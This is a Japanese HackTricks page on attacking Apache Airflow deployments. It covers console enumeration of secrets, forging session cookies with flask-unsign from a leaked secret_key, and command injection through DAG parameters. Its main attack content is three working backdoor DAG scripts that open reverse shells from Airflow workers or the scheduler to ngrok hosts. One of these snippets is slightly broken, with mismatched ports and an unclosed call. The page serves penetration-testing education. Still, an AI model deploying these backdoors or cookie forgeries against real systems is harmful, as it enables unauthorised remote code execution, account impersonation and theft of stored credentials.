htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ ! 基本情報
Apache Airflow は、データパイプラインやワークフローのオーケストレーションとスケジューリング のプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」とは、さまざまなソースから発信される複雑なデータワークフローを整理し、調整し、管理するプロセスを意味します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、多くのアプリケーションで広く利用されており、これらはすべてビッグデータアプリケーションの機能の基盤となっています。
基本的に、Apache Airflow は、何かが発生したときにコードの実行をスケジュールする ことができます。
ローカル環境
Docker-Compose
完全な Apache Airflow Docker 環境を起動するために、https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml から docker-compose 設定ファイルを使用 できます(MacOS の場合は、docker VM に少なくとも 6GB のRAMを割り当てる必要があります)。
Minikube
Apache Airflow を実行する簡単な方法 の1つは、minikube を使用して実行することです。
コピー helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command
# Use this command to delete it
helm delete airflow-release
Airflowの設定
Airflowは、機密情報 を設定に保存する可能性があり、または設定に弱い構成があるかもしれません:
page Airflow Configuration Airflow RBAC
Airflowを攻撃する前に、権限がどのように機能するか を理解する必要があります:
page Airflow RBAC 攻撃
Webコンソールの列挙
Webコンソールにアクセス権 がある場合、次の情報の一部またはすべてにアクセスできるかもしれません:
変数 (ここにはカスタムの機密情報が保存されている可能性があります)
接続 (ここにはカスタムの機密情報が保存されている可能性があります)
http://<airflow>/connection/list/
でアクセス
設定 (secret_key
などの機密情報やパスワードがここに保存されている可能性があります)
各DAGのコード (興味深い情報が含まれている可能性があります)
変数値の取得
変数はAirflowに保存され、DAG がその値にアクセス できるようになります。他のプラットフォームのシークレットに似ています。十分な権限 があれば、GUIでhttp://<airflow>/variable/list/
にアクセスできます。
Airflowはデフォルトで変数の値をGUIに表示しますが、こちら によると、GUIにはアスタリスク で表示される変数のリスト を設定することが可能です。
ただし、これらの値 は、CLI (DBアクセスが必要)、任意のDAG の実行、変数エンドポイントにアクセスするAPI (APIを有効にする必要があります)、そしてGUIそのもの を介して依然として取得 できます。
GUIからこれらの値にアクセスするには、アクセスしたい変数 を選択し、アクション -> エクスポート をクリックします。
別の方法は、隠された値 にブルートフォース を実行し、それを取得するまで検索フィルタリング を行うことです:
特権昇格
expose_config
構成がTrue に設定されている場合、ユーザー ロール以上のユーザーはWeb上で構成を読み取る ことができます。この構成では、secret_key
が表示されるため、この有効なユーザーは自分自身の署名済みクッキーを作成して他のユーザーアカウントになりすます ことができます。
コピー flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
DAG バックドア(Airflow ワーカー内の RCE)
もし DAG が保存されている場所に書き込みアクセス があれば、リバースシェルを送信する DAG を作成することができます。
このリバースシェルは Airflow ワーカーコンテナ内で実行 されることに注意してください:
コピー import pendulum
from airflow import DAG
from airflow . operators . bash import BashOperator
with DAG (
dag_id = 'rev_shell_bash' ,
schedule_interval = '0 0 * * *' ,
start_date = pendulum. datetime ( 2021 , 1 , 1 , tz = "UTC" ),
) as dag :
run = BashOperator (
task_id = 'run' ,
bash_command = 'bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1' ,
)
コピー import pendulum , socket , os , pty
from airflow import DAG
from airflow . operators . python import PythonOperator
def rs ( rhost , port ):
s = socket . socket ()
s . connect ((rhost, port))
[os . dup2 (s. fileno (),fd) for fd in ( 0 , 1 , 2 )]
pty . spawn ( "/bin/sh" )
with DAG (
dag_id = 'rev_shell_python' ,
schedule_interval = '0 0 * * *' ,
start_date = pendulum. datetime ( 2021 , 1 , 1 , tz = "UTC" ),
) as dag :
run = PythonOperator (
task_id = 'rs_python' ,
python_callable = rs,
op_kwargs = { "rhost" : "8.tcp.ngrok.io" , "port" : 11433 }
)
DAG バックドア(Airflow スケジューラーでの RCE)
ものをコードのルートで実行するように設定 した場合、この記述時点では、それを DAG のフォルダーに配置した数秒後にスケジューラーによって実行 されます。
コピー import pendulum , socket , os , pty
from airflow import DAG
from airflow . operators . python import PythonOperator
def rs ( rhost , port ):
s = socket . socket ()
s . connect ((rhost, port))
[os . dup2 (s. fileno (),fd) for fd in ( 0 , 1 , 2 )]
pty . spawn ( "/bin/sh" )
rs ( "2.tcp.ngrok.io" , 14403 )
with DAG (
dag_id = 'rev_shell_python2' ,
schedule_interval = '0 0 * * *' ,
start_date = pendulum. datetime ( 2021 , 1 , 1 , tz = "UTC" ),
) as dag :
run = PythonOperator (
task_id = 'rs_python2' ,
python_callable = rs,
op_kwargs = { "rhost" : "2.tcp.ngrok.io" , "port" : 144 }
DAGの作成
DAGクラスタ内のマシンを侵害 することができれば、dags/
フォルダ内に新しいDAGスクリプト を作成し、DAGクラスタ内の他のマシンに複製されます 。
DAGコードインジェクション
GUIからDAGを実行すると、それに引数を渡す ことができます。
したがって、DAGが適切にコーディングされていない場合、コマンドインジェクションの脆弱性 がある可能性があります。
これがこのCVEで起こったことです: https://www.exploit-db.com/exploits/49927
DAG内でコマンドインジェクションを探し始める ために知っておく必要があるのは、パラメータ がコード**dag_run.conf.get("param_name")
で アクセス**されることです。
さらに、同じ脆弱性が変数 でも発生する可能性があります(特権があればGUIで変数の値を制御 できます)。変数は次のようにアクセス されます:
コピー from airflow . models import Variable
[...]
foo = Variable . get ( "foo" )
コピー <details>
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [ **公式PEASS&HackTricksのグッズ** ](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details>